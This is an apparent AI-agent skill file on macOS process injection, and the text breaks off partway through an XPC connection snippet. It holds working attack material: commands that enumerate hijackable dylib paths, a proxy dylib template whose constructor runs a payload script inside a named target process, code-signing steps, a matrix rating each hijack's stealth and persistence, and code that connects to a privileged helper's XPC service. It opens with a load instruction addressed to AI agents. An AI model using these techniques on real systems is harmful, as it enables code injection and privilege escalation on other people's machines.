Macos Process Injection

# Dylib Hijacking & XPC Exploitation — Step-by-Step Techniques

> **AI LOAD INSTRUCTION**: Load this when you need detailed dylib hijacking methodology, XPC exploitation walkthroughs, or Mach port technique specifics. Assumes the main [SKILL.md](./SKILL.md) is already loaded for injection vector overview.

---

## 1. DYLIB HIJACKING METHODOLOGY

### 1.1 Automated Discovery with DyLibHijackScanner

```bash
# Using DYLD_PRINT_RPATHS and DYLD_PRINT_LIBRARIES for analysis
DYLD_PRINT_RPATHS=1 DYLD_PRINT_LIBRARIES=1 /path/to/binary 2>&1 | tee /tmp/dylib_audit.txt

# Parse for missing libraries
grep "not found" /tmp/dylib_audit.txt
```

### 1.2 Manual Weak Dylib Enumeration

```bash
# Step 1: List all load commands
otool -l /path/to/binary > /tmp/loadcmds.txt

# Step 2: Extract weak dylib paths
grep -A 2 LC_LOAD_WEAK_DYLIB /tmp/loadcmds.txt | grep name | awk '{print $2}'

# Step 3: Check which are missing
while read lib; do
  [ ! -f "$lib" ] && echo "HIJACKABLE: $lib"
done < <(grep -A 2 LC_LOAD_WEAK_DYLIB /tmp/loadcmds.txt | grep name | awk '{print $2}')
```

### 1.3 Rpath Analysis

```bash
# Step 1: Enumerate rpath entries (order matters!)
otool -l /path/to/binary | grep -A 2 LC_RPATH | grep path | awk '{print $2}'

# Step 2: Find rpath-relative imports
otool -L /path/to/binary | grep @rpath | awk '{print $1}'

# Step 3: Resolve each @rpath import against rpath entries in order
# First match wins — if earlier rpath dir is writable, you win
```

### 1.4 Complete Dylib Proxy Template

```c
// proxy.c — forwards all symbols to the real dylib while executing payload

#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>

// Constructor runs when dylib is loaded
__attribute__((constructor))
static void payload(void) {
    // Avoid running in unintended processes
    const char *proc = getprogname();
    if (strcmp(proc, "target_process") != 0) return;

    // Execute payload
    system("/path/to/payload.sh");
}

// Build with reexport to maintain original functionality:
// gcc -dynamiclib -o hijacked.dylib proxy.c \
//   -Wl,-reexport_library,/path/to/original_real.dylib \
//   -arch x86_64 -arch arm64 \
//   -framework Foundation
```

### 1.5 Signing the Proxy Dylib

```bash
# If target binary has library validation disabled, ad-hoc signing suffices
codesign -s - hijacked.dylib

# If target requires same-team signing, need a valid Developer ID
codesign -s "Developer ID Application: ..." hijacked.dylib

# If target has no library validation at all, no signing needed
```

### 1.6 Dylib Hijacking Priority Matrix

| Hijack Type | Reliability | Stealth | Persistence | Prerequisite |
|---|---|---|---|---|
| Weak dylib (missing) | High | High | Per-launch | Writable target path |
| @rpath (writable prefix) | High | High | Per-launch | Writable rpath dir |
| Proxy (replace existing) | High | Medium | Per-launch | Writable dylib location + re-export |
| DYLD_INSERT_LIBRARIES | High | Low | Per-invocation | Env var entitlement |
| DYLD_LIBRARY_PATH override | Medium | Low | Per-invocation | No Hardened Runtime |

---

## 2. XPC EXPLOITATION WALKTHROUGH

### 2.1 Identifying XPC Services and Their Entitlements

```bash
# List all XPC services in an app bundle
find /Applications/Target.app -name "*.xpc" -type d

# Read the XPC service's Info.plist
plutil -p /Applications/Target.app/Contents/XPCServices/Helper.xpc/Contents/Info.plist

# Check launchd plist for Mach service name
cat /Library/LaunchDaemons/com.target.helper.plist | grep -A 1 MachServices

# Dump XPC service entitlements
codesign -d --entitlements :- /Applications/Target.app/Contents/XPCServices/Helper.xpc/Contents/MacOS/Helper
```

### 2.2 XPC Connection Interception

```objc
// Connecting to a third-party privileged helper
#import <Foundation/Foundation.h>

int main() {
    NSXPCConnection *conn = [[NSXPCConnection alloc]
        initWithMachServiceName:@"com.target.helper"
        options:NSXPCConnectionPrivileged];

    // Set the expected protocol interface
    conn.remoteObjec